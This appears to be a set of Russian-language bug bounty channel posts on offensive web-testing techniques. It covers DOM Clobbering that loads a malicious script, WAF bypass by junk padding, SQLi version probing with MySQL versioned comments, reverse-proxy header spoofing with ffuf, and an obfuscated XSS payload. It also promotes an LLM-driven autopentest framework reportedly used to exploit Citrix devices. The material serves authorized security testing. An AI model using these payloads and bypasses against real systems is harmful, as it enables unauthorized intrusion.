🕷 BugBountyRu

🕷 Поиск и эксплуатация DOM Clobbering

DOM Clobbering — тип атаки, в которой используется взаимодействие между JavaScript и DOM.

Цель — запутать клиентский JS-код, вставляя в веб-страницы фрагмент HTML-разметки, не содержащей скриптов, и преобразуя его в исполняемый код с помощью named property accesses.

Проблема возникает из-за коллизии имён между JS-переменными и HTML-элементами с атрибутами id или name. Браузеры автоматически создают свойства объектов window и document на основе этих атрибутов:

var s = document.createElement('script');
let config = window.globalConfig || {href: 'script.js'};
s.src = config.href;
document.body.appendChild(s);

Ты можешь внедрить HTML-разметку: <a id="globalConfig" href="malicious.js">, и браузер заменит переменную window.globalConfig на этот элемент. В результате вместо безопасного скрипта загрузится вредоносный. Бинго🎯

🥷🏿 DOMC Payload Generator — инструмент, который поможет найти ещё больше пэйлоадов для эксплуатации DOM Clobbering атак.

Коллеги из Securitm делятся опытом проведения Bug Bounty: https://habr.com/ru/companies/securitm/articles/951040/

🕷Байпас WAF за счет манипуляции лимитами веб-запросов

Большинство WAF имеют ограничения на объем данных, обрабатываемых в теле запроса. Для HTTP-запросов с телом (POST, PUT, PATCH и т.д.) обычно можно обойти WAF, просто добавив в начало запроса мусорные данные.

🥷 Как это работает:

✅ WAF обрабатывает только первые n байт запроса
✅ Все, что превышает лимиты WAF, проходит без анализа
✅ Пэйлоад размещается после мусорных данных

В прошлом году команда Assetnote представила nowafpls — простое расширение Burp (Caido тоже поддерживает) для обхода WAF путем вставки мусорных данных в репитере.

От тебя требуется добавить в Burp nowafpls.py, выбрав тип расширения Python. Дальше — дело техники — выбрать объем вставляемых данных или добавить произвольное количество с помощью опции Custom.

🕷 Приватный режим в Burp Suite

Кейсов использования этой фичи много, поэтому в «нужный момент» просто нажми F12.

➡️Ссылка на исходники Privacy.bambdas

🕷 Распространённые HTTP-заголовки, используемые обратными прокси-серверами

Подделка HTTP-заголовка может выстрелить в самой разной форме — от SSRF и DoS до open redirect, XSS и других багов, связанных с контролем доступа.

📌 Самые распространенные заголовки для тестов:

❣️ Общие: X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto

❣️ Nginx: X-Real-IP, Forwarded

❣️ Apache: X-Forwarded-Server, X-Real-IP, Max-Forwards

❣️ Envoy: X-Envoy-External-Address, X-Envoy-Internal, X-Envoy-Original-Dst-Host

Автоматизируем одной командой:

ffuf -w headers.txt:HEADER -w payloads.txt:PAYLOAD \
  -H "HEADER: PAYLOAD" \
  -u https://target.com/admin \
  -mc 200,301,302

🧠 HexStrike AI - автопентест фреймворк.

Раньше Penterra была доступна только корпорациям и ограничена. Теперь есть HexStrike - бесплатный опенсорс-фреймворк на LLM, который делает больше и лучше. Понятно, что это лишь начало, но уже фиксируются случаи его применения для эксплуатации багов Citrix и продажи взломанных NetScaler этим инструментом.

⚙️ Возможности:
+ MCP-сервер с клиентами - можно работать командой
+ Автоматизация 150+ инструментов: OSINT, веб-скан, инфраструктура, привилегии
+ ИИ-агенты сами выбирают утилиты, параметры и стратегию
+ Поддержка цепочек: поиск → эксплоит → шелл → постэксплуатация
+ Визуальные дашборды и прогресс
+ Логи и воспроизводимость шагов - удобно для отчётов и ресерча

🎯 Для кого: пентестеры, purple-team, багхантеры и исследователи

🔮 В v7.0 планируется: десктоп-клиент, one-command install, Docker, ~250 тулов, Selenium-анализ веба с антидетектом, runtime JS-чек, многозадачность, API для CI/CD

📎 GitHub: https://github.com/0x4m4/hexstrike-ai

🕷 Фаззинг регулярных выражений методом чёрного ящика

REcollapse генерирует пэйлоад для байпаса валидаций/WAF и обнаружения нормализации в веб-приложениях. Новая версия добавляет:

📌 Mode 6 для тестирования на устойчивость к изменениям регистра (case folding/upper/lower)

📌 Mode 7 для тестирования на устойчивость к усечению байтов (byte truncations)

Как использовать:

$ recollapse -e 1 -m 1,2,4 -r 10-11 https://legit.example.com
%0ahttps://legit.example.com
%0bhttps://legit.example.com
https%0a://legit.example.com
https%0b://legit.example.com
...

$ echo "a@b.com" | recollapse 
%00a@b.com
%01a@b.com
...

$ echo "<svg/onload=alert(1)>" | recollapse | ffuf -w - -u "https://example.com/?param=FUZZ" -mc 200,403,500

🕷 Versioned comments как инструмент для эксплуатации SQL-инъекций

В MySQL и ее форках можно использовать versioned comments, что позволяет в некоторых кейсах с точностью узнать версию СУБД.

Допустим, у тебя потенциальная SQLi в параметре id, но атака возможна только в слепом режиме, и ты не знаешь тип/версию СУБД.

👉 Попробуй заменить значение параметра на:

/*!50000 <id_value>*/



Если страница вернёт тот же контент, что и при обычном id, значит, скорее всего, приложение использует MySQL, форки или совместимые СУБД с версией ≥ 5.0.0.

Дальше можно играться с числами (/*!51000 ...*/, /*!51010 ...*/ и т. д.) и нащупать точную версию без вызова функции version().

Такой кейс позволяет обнаружить MySQL и заодно часто обходить WAF — фильтры могут просто игнорировать эти конструкции.

🌡 Логика простая: часть внутри /*!<число> ...*/ выполнится только если версия БД ≥ этого числа. Это даёт возможность прятать пэйлоад прямо внутри комментариев.

Кстати, sqlmap уже умеет использовать этот кейс через tamper. А если число не указано (например, просто /*! ... */), то содержимое выполняется всегда.

Боже, дай мне знак, какой дистрибутив выбрать.

Бог:

Make Ancient Sumer Great Again: XSS Payload Written In Linear B language

𐀀='',𐀁=!𐀀+𐀀,𐀂=!𐀁+𐀀,𐀃=𐀀+{},𐀄=𐀁[𐀀++],𐀅=𐀁[𐀆=𐀀],𐀇=++𐀆+𐀀,𐀈=𐀃[𐀆+𐀇],𐀁[𐀈+=𐀃[𐀀]+(𐀁.𐀂+𐀃)[𐀀]+𐀂[𐀇]+𐀄+𐀅+𐀁[𐀆]+𐀈+𐀄+𐀃[𐀀]+𐀅][𐀈](𐀂[𐀀]+𐀂[𐀆]+𐀁[𐀇]+𐀅+𐀄+"('𐀀𐀁𐀂𐀃𐀄 𐀅𐀆𐀇𐀈')")()

🕷 Повышение эффективности разведки с помощью reverse DNS

В разведке все методы хороши, особенно когда речь идет о больших скоупах. Reverse DNS и анализ SSL-сертификатов — тот самый необходимый минимум.

😵 На помощь приходят как онлайн-сервисы, так и опенсорсные инструменты:

⚙️ hakip2host — принимает список IP-адресов через stdin, а затем выполняет ряд проверок и возвращает соответствующие доменные имена.

▪️Поиск PTR-записей в DNS
▪️Subject Alternative Names (SANs) в SSL-сертификатах
▪️Common Names (CNs) в SSL-сертификатах

⚙️ dnsx — быстрый и многофункциональный тулчейн от ProjectDiscovery для работы с DNS.

$ echo 173.0.84.0/24 | dnsx -silent -resp-only -ptr

Sofline Security Summit

🤖 XBOW — топ-1 в мире на H1

Впервые автономный ИИ-багхантер возглавил мировой рейтинг, а ты продолжаешь тыкать кавычки. Это не прошлое и не будущее — это настоящее!

💭 Что скажете?

🕷 Как скраулить список целей и отфильтровать статические файлы с помощью нескольких флагов katana:

▪️-d: максимальная глубина сканирования
▪️-kf: включает сканирование известных файлов
▪️-jc: включает разбор и сканирование эндпоинтов в JS-файлах
▪️-fx: извлекает элементы форм, поля ввода, текстовые области и выпадающие списки
▪️-ef: фильтрует вывод по указанным расширениям
▪️-o: имя выходного файла

katana -u subdomains_alive.txt -d 5 -kf -jc -fx -ef woff, css, png, svg, jpg, woff2, jpeg, gif, svg -o allurls.txt

🐧 Unix-style подход к тестированию веб-приложений

Burp Suite можно расширять, но глубокая кастомизация требует глубокого погружения и больших затрат. Решение — инструмент Piper, который интегрирует внешние инструменты и их пайплайны в Burp Suite.

Расширение может передавать HTTP-запросы и ответы из Burp во внешний софт, а затем передавать результат их выполнения обратно в Burp.

💡 С помощью Piper можно создавать:

🟡 Commentators: отображение вывода внешней программы в Proxy History как комментариев

➡️ Например, криптографического хеша запроса.

🟡 Highlighters: выделение элементов в истории прокси по содержимому

➡️ Например, если HTTP-ответ включает элементы из словаря.

🟡 Message Viewers: отображение HTTP-сообщений с кастомным форматированием

➡️ Например, структур Protobuf с использованием protoc.

🟡 Context Menu Items: вызов внешних инструментов из контекстного меню

➡️ Можно использовать внешнюю графическую утилиту для сравнения HTTP-сообщений.

🟡 Intruder Payload Generators: генерация пэйлоада для Intruder с помощью внешних инструментов

➡️ Можно заставить Intruder использовать пароли, генерируемые John the Ripper.

🟡 Intruder Payload Processors: преобразование пэйлоада Intruder

➡️ Можно применить base64-кодирование с кастомным алфавитом с помощью внешнего скрипта.

🟡 Macros: использование внешних инструментов как части макросов

➡️ Можно автоматически генерировать предсказуемые CSRF-токены для каждого исходящего запроса.

🟡 HTTP Listeners: преобразование исходящих и входящих HTTP-сообщений

➡️ Можно использовать внешний Python-скрипт для обработки кастомного шифрования.